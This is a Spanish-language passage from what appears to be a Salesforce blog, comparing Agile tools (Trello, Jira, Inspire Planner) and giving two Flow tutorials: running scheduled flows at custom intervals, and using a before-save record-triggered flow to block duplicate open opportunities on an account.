Aunque no tiene el nivel de personalización o las funciones de generación de informes detallados como Inspire Planner y Jira, la simplicidad de Trello lo convierte en una opción atractiva para equipos más pequeños o proyectos simples.

Una mirada más cercana a Inspire Planner

Inspire Planner está diseñado para ser una solución de gestión de proyectos Agile integral pero fácil de usar para Salesforce. El hecho de que sea nativo de Salesforce significa que inherentemente funciona bien con sus datos existentes en Salesforce, evitando por completo la necesidad de integraciones.

Inspire Planner Gestión ágil de proyectos en SalesforceInspire Planner Gestión ágil de proyectos en Salesforce

Aquí hay algunas razones por las que Inspire Planner podría ser una buena opción para su equipo:

  • Soporte ágil completo : Inspire Planner es compatible con las metodologías Scrum y Kanban desde el primer momento para que pueda elegir el mejor enfoque para las necesidades de su proyecto. Puede gestionar fácilmente la acumulación de productos, planificar sprints, realizar un seguimiento de los puntos de la historia, visualizar el trabajo mediante tableros Kanban, gestionar recursos y analizar el progreso con gráficos de evolución.
  • Integración perfecta con Salesforce : dado que Inspire Planner vive dentro de su organización de Salesforce, puede vincular directamente sus historias de usuario o tareas a cualquier registro de Salesforce como Oportunidades, Casos y Cuentas, incluidos los registros de sus objetos personalizados. Esto reduce la duplicación de datos y conecta sus datos de Salesforce con sus flujos de trabajo ágiles.
  • Colaboración : Aprovecha Chatter de Salesforce para la comunicación, fomentando la colaboración dentro del equipo. También puede compartir el estado del proyecto con las partes interesadas directamente en Salesforce.
  • Interfaz intuitiva y familiar : incorpore rápidamente nuevos equipos e impulse la adopción a través de una experiencia de usuario perfecta y una interfaz de usuario familiar. Utilice funciones estándar como Tareas de Salesforce, Chatter, Informes y Paneles, y más.

Elegir la herramienta adecuada para sus necesidades y el tamaño de su equipo

Elegir la herramienta adecuada depende del tamaño de su equipo, la complejidad del proyecto y la metodología Agile que siga. Aquí hay algunas pautas:

  • Tamaño del equipo y complejidad del proyecto : para equipos pequeños o proyectos menos complejos, la simplicidad de Trello puede ser ventajosa. Una herramienta más robusta como Jira o Inspire Planner podría ser más adecuada para equipos más grandes o proyectos complejos que requieren flujos de trabajo personalizados, informes detallados y más.
  • Integración de Salesforce : si su organización utiliza mucho Salesforce, una aplicación nativa de Salesforce como Inspire Planner podría ser la mejor opción para una integración perfecta. Y si es nuevo en Salesforce, puede mejorar sus habilidades con los mejores recursos de capacitación de Salesforce para comenzar.
  • Metodología ágil : si su equipo sigue estrictamente Scrum, tanto Inspire Planner como Jira podrían ser preferibles. Para Kanban, las tres herramientas podrían satisfacer sus necesidades. Para una combinación de metodologías Agile y Waterfall, Inspire Planner sería la mejor opción.
  • Presupuesto : El costo podría ser otro factor decisivo. Trello suele ser más rentable para equipos pequeños, mientras que Jira e Inspire Planner ofrecen funciones más avanzadas a un costo mayor.

Conclusión

La incorporación de Agile en Salesforce DevOps realmente puede amplificar la adaptabilidad, la colaboración en equipo, la satisfacción del cliente, la eficiencia y la gestión de riesgos. El énfasis en el desarrollo iterativo y la garantía de calidad garantiza estándares de primer nivel dentro del desarrollo y las operaciones de Salesforce.

Sin embargo, es importante recordar que el corazón de Agile radica en cultivar una mentalidad comprometida con el aprendizaje continuo y la adaptabilidad.

Aquí hay algunas ideas procesables:

  • Comprométase con el aprendizaje continuo : anime a su equipo a aprender de cada iteración y use esos conocimientos para impulsar mejoras en los siguientes sprints.
  • Acepta el cambio : el cambio es la única constante en Agile. Fomentar un entorno en el que el cambio no solo se acepte, sino que se acoja como una oportunidad para mejorar.
  • Fomentar la colaboración : promover una cultura de comunicación abierta y colaboración. Esto puede conducir a soluciones más innovadoras y a un equipo más fuerte.
  • Involucrar a las partes interesadas : involucrar regularmente a las partes interesadas en las revisiones de sprint para garantizar que el producto satisfaga las necesidades y expectativas de los usuarios.
  • Aproveche las herramientas de manera efectiva : use las herramientas de Salesforce y Agile de manera efectiva para realizar un seguimiento del progreso, administrar los flujos de trabajo y facilitar la comunicación.

Al adoptar estas estrategias, los equipos pueden desbloquear todo el potencial de las metodologías ágiles, lo que lleva a un mayor rendimiento y niveles elevados de satisfacción del cliente.

Categorías
Automatización y Flow

Ejecutar flujo desencadenado por programación a intervalos de repetición flexibles

Última actualización el 7 de agosto de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • ¿Cómo se ejecuta un flujo activado por programación o iniciado automáticamente en intervalos de repetición flexibles?

Objetivos:

Después de leer este blog, podrá:

  • Ejecute un flujo activado por programa en intervalos regulares (por ejemplo, cada 15 minutos, cada hora, cada cuatro horas, etc.)
  • Ejecute un flujo activado por programación solo los fines de semana.
  • Y mucho más

Benjamin Moore, el administrador de Salesforce en Gurukul On Cloud (GoC), implementó con éxito un flujo activado por programación para automatizar las actualizaciones de tipos de cambio de moneda en Salesforce utilizando la API de cambio de moneda . Actualmente, este flujo está configurado para ejecutarse todas las noches a las 12:54 a. m.

Sin embargo, en función de los comentarios comerciales y su satisfacción con la configuración actual, ahora existe una solicitud para que la frecuencia del flujo activado por programación se ajuste para que se ejecute cada seis horas.

Enfoque de Campeón de Automatización (I-do):

Un Evento en los datos no desencadena Flujos programados; se ejecutan cuando llega una hora programada. Los flujos programados se ejecutan de la siguiente manera:

  • Una vez (En una fecha y hora en particular)
  • Diariamente (En una fecha y hora en particular)
  • Semanalmente (En una fecha y hora en particular)

Sin embargo, puede haber casos en los que sea necesario ejecutar un flujo de inicio automático con más frecuencia de la necesaria. Para tales escenarios, se requiere familiaridad con Apex o el uso de una aplicación de AppExchange, Schedul-o-matic 9000 .

La aplicación Schedul-o-matic 9000 ofrece la flexibilidad de intervalos de repetición personalizados. Ya sea ejecutando un trabajo una vez, cada 5 minutos indefinidamente o en cualquier período de tiempo intermedio, la elección está en sus manos.

👉 Mira el video para obtener instrucciones paso a paso.

[contenido incrustado]

Evaluación formativa:

¡Quiero saber de ti!

¿Qué es una cosa que aprendiste de esta publicación? ¿Cómo imagina aplicar este nuevo conocimiento en el mundo real? Siéntase libre de compartir en los comentarios a continuación.

Categorías
Automatización y Flow

Validaciones personalizadas mediante flujos activados por registros

Última actualización el 3 de agosto de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • ¿Cómo se escribe una regla de validación utilizando un flujo desencadenado por registros antes de guardar sin crear metadatos adicionales?

Objetivos:

Después de leer este blog, podrá:

  • Comprender la regla de validación
  • Flujo antes de guardar activado por registro de usuario para crear una regla de validación
  • Mostrar el mensaje de error en la parte superior de la página
  • Y mucho más

👉 Anteriormente, escribí varias publicaciones sobre la validación y Salesforce Flow. ¿Por qué no echarles un vistazo mientras estás en ello?

  1. Adición de validación a los componentes de la pantalla de flujo
  2. ¿Regla de validación usando un flujo antes de guardar? ¡Sí!
  3. Cómo corregir el error FIELD_CUSTOM_VALIDATION_EXCEPTION)

A Benjamin Moore , administrador de Salesforce en Gurukul On Cloud (GoC), se le ha encomendado un requisito específico. Debe restringir que los usuarios creen una nueva oportunidad dentro de la cuenta si existe una oportunidad abierta. El siguiente texto debe utilizarse para el mensaje de error:

Utilice la oportunidad abierta existente dentro de esta cuenta. Si necesita más ayuda o tiene preguntas sobre la gestión de oportunidades, póngase en contacto con el soporte de TI.

¿Qué es la regla de validación?

Una regla de validación permite que un administrador del sistema defina una lógica personalizada y mensajes de error para garantizar la integridad de los datos. La regla puede contener una fórmula o una expresión que evalúe los datos en uno o más campos y devuelva un valor verdadero o falso . Por ejemplo, la regla incluye un mensaje de error que se muestra cuando devuelve un valor verdadero que indica que se están ingresando datos incorrectos. Recuerde, una regla de validación solo se activa cuando se crea o edita un registro .

En este artículo, hablé sobre muchos hechos ocultos que no son muy conocidos sobre la regla de validación . Por ejemplo, mostré cómo usar una regla de validación para administrar requisitos usando tipos de metadatos personalizados.

¿Qué es Antes de Guardar Flujo?

El flujo antes de guardar es un disparador que se realiza antes de una operación , como una inserción, actualización, eliminación, etc. Puede usar dicho flujo para verificar o cambiar valores antes de que los datos se actualicen o inserten en la base de datos. Guardar antes es mucho más rápido porque cada registro no se guarda en la base de datos nuevamente. Evitar ese procedimiento de guardado adicional significa omitir otra ronda de reglas de asignación, reglas de respuesta automática, reglas de flujo de trabajo y otras personalizaciones que tardan en ejecutarse. Use un flujo antes de guardar en los siguientes casos de uso:

  1. Actualizar campos en registros nuevos o modificados: significa que desea actualizar los campos en el registro que inició el Flujo
  2. Activar una regla de validación (no necesaria después del lanzamiento de winter'24)

Lea este artículo para obtener más información sobre cuándo usar el flujo anterior frente al flujo posterior al guardado.

Enfoque de Campeón de Automatización (I-do):

Paso 2: uso del elemento de decisión para verificar si la oportunidad se creó o actualizó

Ahora usaremos el elemento Decisión para verificar si el registro de oportunidad fue creado o actualizado.

  1. En Flow Designer, haga clic en el icono + y seleccione el elemento Decisión .
  2. Introduzca un nombre en el campo Etiqueta ; el nombre de la API se completará automáticamente.
  3. En Detalles del resultado , ingrese la etiqueta que el nombre de la API se completará automáticamente.
  4. Requisitos de condición para ejecutar el resultado : se cumplen todas las condiciones (Y)
    1. Fila 1:
      1. Recurso : {!$Record.Id}
      2. Operador : es nulo
      3. Valor : {!$ConstanteGlobal.Verdadero}
  5. Cuándo ejecutar el resultado : si se cumplen los requisitos de la condición
  6. Haz clic en la X en la parte superior para guardar tus cambios.

Paso 3: agregar un elemento Obtener registro para encontrar oportunidades abiertas relacionadas

El siguiente paso es usar el elemento Obtener registros para encontrar oportunidades abiertas relacionadas en la cuenta.

  1. En Flow Designer, debajo del nodo Creado , haga clic en el icono + y seleccione el elemento Obtener registros .
  2. Introduzca un nombre en el campo Etiqueta ; el nombre de la API se completará automáticamente.
  3. Seleccione el objeto Oportunidad de la lista desplegable.
  4. Seleccione Se cumplen todas las condiciones (Y) .
  5. Establecer condiciones de filtro
    1. Fila 1:
      1. Campo : ID de cuenta
      2. Operador : Igual
      3. Valor : {!$Record.AccountId}
    2. Haga clic en Agregar condición
      1. Fila 1:
        1. Campo : EstáCerrado
        2. Operador : Igual
        3. Valor : {!$ConstanteGlobal.Falso}
  6. Cuántos registros almacenar:
    1. seleccione Todos los registros
  7. Cómo almacenar datos de registro:
    1. Elija la opción para Almacenar automáticamente todos los campos .
  8. Haz clic en la X en la parte superior para guardar tus cambios.

Paso 4: uso del elemento de decisión para verificar si se encontró o no una oportunidad abierta  

Ahora, usaremos el elemento Decisión para comprobar si el elemento Obtener registros anterior devuelve un registro de oportunidades abiertas.

  1. En Flow Designer, haga clic en el icono + y seleccione el elemento Decisión .
  2. Introduzca un nombre en el campo Etiqueta ; el nombre de la API se completará automáticamente.
  3. En Detalles del resultado , ingrese la etiqueta que el nombre de la API se completará automáticamente.
  4. Requisitos de condición para ejecutar el resultado : se cumplen todas las condiciones (Y)
    1. Fila 1:
      1. Recurso: {!Get_Related_Opportunity}
      2. Operador: es nulo
      3. Valor: {!$ConstanteGlobal.Falso}
  5. Cuándo ejecutar Resultado : Si se cumplen los requisitos de la condición .
  6. Haga clic en Listo .

Paso 5: agregar un elemento de error personalizado para mostrar mensajes de error

  1. En el nodo , seleccione el elemento Error personalizado .
  2. Introduzca un nombre en el campo Etiqueta ; el nombre de la API se completará automáticamente.
  3. Establecer detalles del mensaje de error 1
    1. Dónde mostrar el mensaje de error : en una ventana en una página de registro
    2. Mensaje de error:
      1. Utilice la oportunidad abierta existente dentro de esta cuenta. Si necesita más ayuda o tiene preguntas sobre la gestión de oportunidades, póngase en contacto con el soporte de TI.
  4. Haz clic en la X en la parte superior para guardar tus cambios.

Al final, Benjamin's Flow se verá como la siguiente captura de pantalla:

Una vez que todo se vea bien, realice los siguientes pasos:

  1. Haga clic en Guardar .
  2. Ingrese la etiqueta de flujo, el nombre de la API se completará automáticamente.
  3. Haga clic en Mostrar avanzado .
  4. Versión de API para ejecutar el flujo : 59
  5. Etiqueta de entrevista : regla de validación personalizada mediante flujo {!$Flow.CurrentDateTime}
  6. Haga clic en Guardar .

¡Casi llegamos! Una vez que todo se vea bien, haga clic en el botón Activar .

👉 Mira el video para obtener instrucciones paso a paso.

[contenido incrustado]
Cosas para recordar
  1. El límite para el campo del mensaje de error es de 255 caracteres.
  2. Solo puede agregar un mensaje de error para una página.
  3. Solo puede agregar un mensaje de error por campo.
  4. no es posible utilizar el enlace con su mensaje de error.
    1. parámetro de escape Indica si cualquier marcado HTML en el mensaje de error personalizado se debe escapar ( verdadero ) o no ( falso ). Este parámetro se ignora tanto en Lightning Experience como en la aplicación móvil Salesforce, y el HTML siempre se escapa. El parámetro de escape solo se aplica en Salesforce Classic. Lea este artículo para obtener más información.

Prueba de concepto

A partir de ahora, si un usuario intenta crear una nueva oportunidad en una cuenta que ya tiene una oportunidad abierta, se activará el flujo activado por registro antes de guardar que hemos creado y mostrará un mensaje de error.

Evaluación formativa:

¡Quiero saber de ti!

¿Qué es una cosa que aprendiste de esta publicación? ¿Cómo imagina aplicar este nuevo conocimiento en el mundo real? Siéntase libre de compartir en los comentarios a continuación.